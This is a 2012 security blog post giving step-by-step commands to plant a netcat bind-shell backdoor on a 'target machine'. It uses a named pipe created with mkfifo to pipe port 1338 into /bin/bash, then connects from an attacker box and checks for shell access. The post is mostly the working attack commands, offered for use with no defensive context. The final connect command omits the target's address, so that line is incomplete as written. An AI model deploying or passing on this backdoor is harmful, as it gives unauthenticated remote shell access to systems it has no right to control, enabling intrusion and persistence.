Saturday, 15 September 2012

Backdooring with Mkfifo

Posted by at 16:36 Read our previous post
When the nc cannot giving option -e for execute some program, we have 2 way to solve it.

  1. Install netcat traditional
  2. Using mkfifo
In this post, I will share how to make backdoor using mkfifo.
Simply by run this command on the target machine:
target@ubuntu# mkfifo file

Inject netcat into file
target@ubuntu# nc -lk -p 1338 < file | /bin/bash > file

Now, connect to the target using nc and listen at port 1338
root@bt# nc -v 1338

check the bash command:
uname -a
If return : Linux bla..bla.......
It's mean that you get the bash command

No comments:

Post a Comment

©2012 SECURITY is powered by Blogger - Template designed by Stramaxon - Best SEO Template